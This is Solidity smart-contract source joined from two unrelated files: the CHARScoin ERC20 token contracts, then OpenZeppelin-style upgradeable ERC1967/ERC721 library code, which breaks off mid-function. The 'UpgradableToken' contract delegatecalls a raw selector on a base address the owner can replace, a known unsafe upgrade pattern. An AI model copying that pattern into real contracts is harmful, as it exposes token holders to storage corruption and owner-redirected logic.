// @dev Implementation of the basic standard token.
// https://github.com/ethereum/EIPs/issues/20
// ----------------------------------------------------------------------------
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// ----------------------------------------------------------------------------
// @title MultiTransfer Token
// @dev Only Admin
// ----------------------------------------------------------------------------
contract MultiTransferToken is StandardToken, Ownable {
function MultiTransfer(address[] _to, uint256[] _amount) onlyOwner public returns (bool) {
require(_to.length == _amount.length);
uint256 ui;
uint256 amountSum = 0;
for (ui = 0; ui < _to.length; ui++) {
require(_to[ui] != address(0));
amountSum = amountSum.add(_amount[ui]);
}
require(amountSum <= balances[msg.sender]);
for (ui = 0; ui < _to.length; ui++) {
balances[msg.sender] = balances[msg.sender].sub(_amount[ui]);
balances[_to[ui]] = balances[_to[ui]].add(_amount[ui]);
emit Transfer(msg.sender, _to[ui], _amount[ui]);
}
return true;
}
}
// ----------------------------------------------------------------------------
// @title Burnable Token
// @dev Token that can be irreversibly burned (destroyed).
// ----------------------------------------------------------------------------
contract BurnableToken is StandardToken, Ownable {
event BurnAdminAmount(address indexed burner, uint256 value);
function burnAdminAmount(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit BurnAdminAmount(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
}
// ----------------------------------------------------------------------------
// @title Mintable token
// @dev Simple ERC20 Token example, with mintable token creation
// Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
// ----------------------------------------------------------------------------
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() { require(!mintingFinished); _; }
modifier cannotMint() { require(mintingFinished); _; }
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// ----------------------------------------------------------------------------
// @title Pausable token
// @dev StandardToken modified with pausable transfers.
// ----------------------------------------------------------------------------
contract PausableToken is StandardToken, Pausable, BlackList {
function transfer(address _to, uint256 _value) public whenNotPaused CheckBlackList returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused CheckBlackList returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused CheckBlackList returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused CheckBlackList returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused CheckBlackList returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// ----------------------------------------------------------------------------
// @title MyToken
// @dev MyToken
// ----------------------------------------------------------------------------
contract MyToken is StandardToken {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals, uint256 _initial_supply) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply_ = _initial_supply;
balances[msg.sender] = _initial_supply;
}
}
contract UpgradableToken is MyToken, Ownable {
StandardToken public functionBase;
constructor()
MyToken("Upgradable Token", "UGT", 18, 10e28) public
{
functionBase = new StandardToken();
}
function setFunctionBase(address _base) onlyOwner public {
require(_base != address(0) && functionBase != _base);
functionBase = StandardToken(_base);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(address(functionBase).delegatecall(0xa9059cbb, _to, _value));
return true;
}
}
// ----------------------------------------------------------------------------
// @Project CharS Project Blockchain & Cryptocurrency(CHARScoin)
// @Creator JEDD-KIM(Blockchain Developer)
// @Source Code Verification(Noah Kim)
// ----------------------------------------------------------------------------
contract CHARScoin is PausableToken, MintableToken, BurnableToken, MultiTransferToken {
string public name = "CHARScoin";
string public symbol = "CHARS";
uint256 public decimals = 18;
}
|
DC1
|
// SPDX-License-Identifier: NONE
pragma solidity ^0.8.2;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal initializer {
__ERC1967Upgrade_init_unchained();
}
function __ERC1967Upgrade_init_unchained() internal initializer {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
_functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
uint256[50] private __gap;
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
